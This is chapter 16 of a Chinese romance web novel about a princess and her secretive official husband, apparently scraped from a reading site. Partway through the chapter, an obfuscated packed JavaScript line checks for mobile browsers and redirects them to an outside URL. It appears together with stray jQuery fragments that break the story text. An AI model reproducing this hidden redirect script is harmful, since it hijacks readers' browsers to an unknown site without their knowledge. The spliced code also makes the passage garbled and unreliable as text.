16. 第16章
作品:《与权臣成婚后》 姨母原本挂着笑的嘴角一僵。
穷困潦倒?
这小子在郡主眼中怎是如此的形象,欺骗小姑娘他怎么好意思?
姨母秉持着装穷装到底的原则,也只能笑着回应顾妍舒,言语间尽是对苏屿默求学时清贫不易的感叹。
他少年时期,父母双双得病而死,他不得已投奔姨母,寄人篱下。
好在姨母家做些小买卖谋生,能养活一家四口,近些年,生意好不容易才能有些起色。
在姨母家居住一年后,他又独自去往书院读书求学,好在他天资聪颖,十年苦读后,高中状元,算是不辜负这么多年吃的苦头。
姨母虽按照苏屿默的说辞与郡主聊往事,但是想到苏屿默这些年一个人抗下的压力,一时真情流露,有些忍不住,眼角微湿。
顺势添油加醋道:“为了迎娶郡主,让郡主住得舒服些,他定是将全副身家都用在修葺这宅子上了,我这里也帮他添置了些。”
“可见,这臭小子对郡主是全心全意的,郡主莫要辜负了他才是。”
顾妍舒心情复杂,不知他如何独自度过那难熬的时光。
长辈们也不知,他们二人成婚,皆有所图,与全心全意毫不相干。
不过,这个宅子,他确实废了大心思。
她盘算着,既然二人成婚,也算是一场缘分,怎么着也要对他好些。
**
书房里,吴浚的折扇打开又合起来,“哥,你如今可是得偿所愿了啊?”
苏屿默背对着吴浚,没有说话,默默点燃香炉中的熏香,但展开的嘴角还是出卖了他此刻的情绪。
转过身的时候,刻意将嘴角的弧度压下去,若是给吴浚一点好颜色,这人立马能开染坊。
吴浚看他没有回应,不死心地继续开口:“欸,我说,苏少师怎么不理人呢!”
轻烟飘起,沉木的香气在房内逐渐散开。
“你想让我说什么?”
苏屿默提步,坐在了小榻的另一侧,案几上放置着一个棋盘,他从青釉棋罐中取出一子。
“啪嗒——”
一子落下,他再取一子,与自己对弈。
吴浚却不死心,绕至苏屿默的身侧,噙着一抹狡黠的笑。
“说说你得偿所愿后有何感受啊?还有就是……昨晚……”
“嘶——”
“疼疼疼!松手!”
话音未落,苏屿默捏住了吴浚的手腕,向后用力,吴浚便偃旗息鼓,开口告饶。
苏屿默没有理会他,反而又加了些力,吴浚痛的龇牙咧嘴,哎呦声不断。
苏屿默气定神闲,下了一子后,凉凉地瞥给吴浚一眼:“你若是这么闲,苏隐和苏逸可以陪你多操练操练。”
“行行行!快松手!我不问了还不行吗!”
手中的桎梏刚刚解开,吴浚揉着手腕嘀咕:“定是在嫂子那受了气,拿我撒气,你就装吧!”
苏屿默眼风飘来,吴浚赶忙识时务地噤了声。
静默一瞬后。
“欸,哥,说真的,你打算什么时候告诉她你的身份啊?”
苏屿默再落下一子。
这件事他未尝没想过,但她和皇室牵扯颇深,他不敢赌当年之事和皇室中的人无关,也不敢赌容亲王的事和皇室中人无关。
更不敢赌她现下对待这些事是何态度,况且听闻她初入宫时大病一场,忘却了许多事。
“我自有打算,说正事。”
吴浚的折扇敲了敲头:“我差点忘了,丝价果真如你所料,涨了一倍不止,从前压价的老板,纷纷来找我购买,我看还能再涨涨,要不要再等等?”
“可以抛了,不可太过贪心,只怕过犹不及。”
吴浚给自己倒了一盏茶,抿了一口:“好,明日我去便把这事办了。”
他语气放轻了些,“还有,这次来找我买丝的老板里面,其中一个口气很大,说背后有人,可以将丝转到宫里尚服局,听口气,估摸着是个户部的官员。”
“八成贪得不少。”
苏屿默眼皮微掀:“刘景成在户部任职,给他送个信,令他暗中留意着,送到手的把柄,必得捏住了,给那老板二成货,盯住,看看他背后是究竟是谁。”
吴浚颔首,“好。”
“这个月的银子,差人送去了吗?”
吴浚的面容郑重了几分,“这件事,我每个月都亲自盯着,都是吴令专程找人押送。”
苏屿默落子的手微微一顿,这是他不敢对任何人言说的秘密,也是他为父母昭雪的最大底牌,每个月他要运送几万两白银还有粮草到北境边界,那里有一万他父亲的旧部,朝中之人以为这些将士已经投敌叛国,几个月都杳无音信,好在上天庇佑,他们都还活着。
只可惜被人诬陷,哪怕没有战死沙场,终究无家可归,父母身死后,郭副将辗转与他取得了联系。
他们做了一个大胆的决定,在大宁北境和北国边境之间,无人管辖的地界中,开辟了几个屯兵点,那里山地、林地居多,便于隐蔽,。
是以,他才敢放手一搏,入朝为官,处心积虑与她成婚。
苏屿默还是叮嘱道:“圣上只允我休沐三日,过两天南国使臣离京,圣上命我跟随太子操办相关事宜,生意的事情,你就看着办吧。”
“还有一事,帮我找人做一把匕首,要最顶级的工艺,做得小巧些。”
吴浚刚归于平静的心思又被这句话引得活泛起来。
吴浚怀抱住自己的双臂,“干什么?你是嫌我话多,要刺杀我吗?”
“还有,你成婚只准休沐三天?这是准备把你当一头驴还是骡子用啊?”
“拉磨也没这么勤快吧?”
“况且你这两日多辛苦啊!日夜不停的……”
……
苏屿默吸了一口气,将手中的棋子扔回棋罐。
声音高了几分。
“苏隐,苏逸,吴浚说他筋骨松了。”
“是——”
门外进来二人,架着吴浚便出去了。
耳边隐约飘来吴浚的声音。
“苏屿默,你还是人吗!”
“啊——”
哀嚎声逐渐远去,苏屿默收好棋盘,轻揉着自己的额心。
成婚的第一日,应该多陪陪她。
顾妍舒回到房间,便命雨晴、雨舒取了些银锭出来,二人不明所以,但还是照做了。
数枚银锭被放置桌案上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679049|188347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾妍舒轻声道:“等会儿将这些银子拿给苏大人。”
雨舒腹诽,郡主是不是误会了什么?
苏少师也不缺钱啊……
雨舒迟疑道,“主子,要不您当面给苏大人?奴去送,恐不太合适吧。”
顾妍舒转念一想,也是,文人重清誉,雨舒这样正大光明的送去,府中的诸人便全都知道了,他面上也无光。
“那放着吧,我亲自给他。”
雨舒取出铜铃的图纸,放在小几上,禀道:“主子,日前查的那个铜铃有线索了,那东西应该就是南国的东西。”
顾妍舒身体微微前倾:“仔细说说。”
“日前打听到这次南国使臣入京,还为了重新开启两国的贸易,有一些商人也随着使臣入了京,奴亲自拿着图样,去托人问了,那商人说,确实是南国的做工。”
听完雨舒的话,顾妍舒眉头微微一蹙,按照裴琰的说法,覃妩是益州人,家人死于战乱,那么南国算是有血海深仇的敌人,她怎会把南国的东西随身携带?
除非她的身份有异。
或者是,她成婚那一日,不得不带着这个东西?
究竟是哪种情况呢?
“雨舒,你派人盯着覃妩。”
“是。”
二人正说着话,苏屿默便回来了,雨晴、雨舒很快退了出去。
雨舒退下的时候,苏屿默没有温度地瞥来一眼,她感觉后背凉了几分,赶忙将房门合了起来。
房门关上后,她长吁一口气,都离开姑苏几年了,现在见到前主子,怎么还是感觉毛毛的。
还是郡主好。
性子好。
对她也好。
雨晴看她表情有些奇怪,脸都白了几分,关心道,“怎么了?没事吧?”
雨舒勉强报以一笑,“无事,只是感觉主子交待的事情不太好办,正在想该如何安排。”
雨晴点头称是,“尽力就好,主子不会怪罪的。”
房间内,苏屿默坐在窗边小榻的另一侧,他看见了小几上,那副铜铃的图纸。
随口道:“这是南国那边的样式吧,郡主是喜欢这个铜铃吗?”
顾妍舒面色微讶:“大人知道这个铜铃?”
苏屿默将图纸拿起来,更仔细地端详着,“嗯,早年间去过南境,机缘巧合见过类似的,故而有些印象。”
顾妍舒更惊讶了:“大人居然也去过南境?”
他信手捻来一个理由。
“早年父母尚在人世,时常需要天南地北地跑,有一次去南境,父亲也带着我。”
顾妍舒眸光一亮,“原来如此,我小时候也去过南境,还住过好一段日子。”
“如此,苏某也算是和郡主有缘了,郡主是喜爱此物,所以要做一个类似的吗?”
她微微一顿。
苏屿默与裴琰还有覃妩并无关联,告诉他也无妨,他见多识广,说不定还能在此事上,有所助益。
旋即,顾妍舒指着图纸,“这个铜铃,是上次去安定侯府参加婚宴时,覃妩姑娘所佩,我见这个图样奇特,故而画下来,让雨舒帮忙查一查。”
苏屿默搭在膝上的手指微微一动。
“为何要查?”

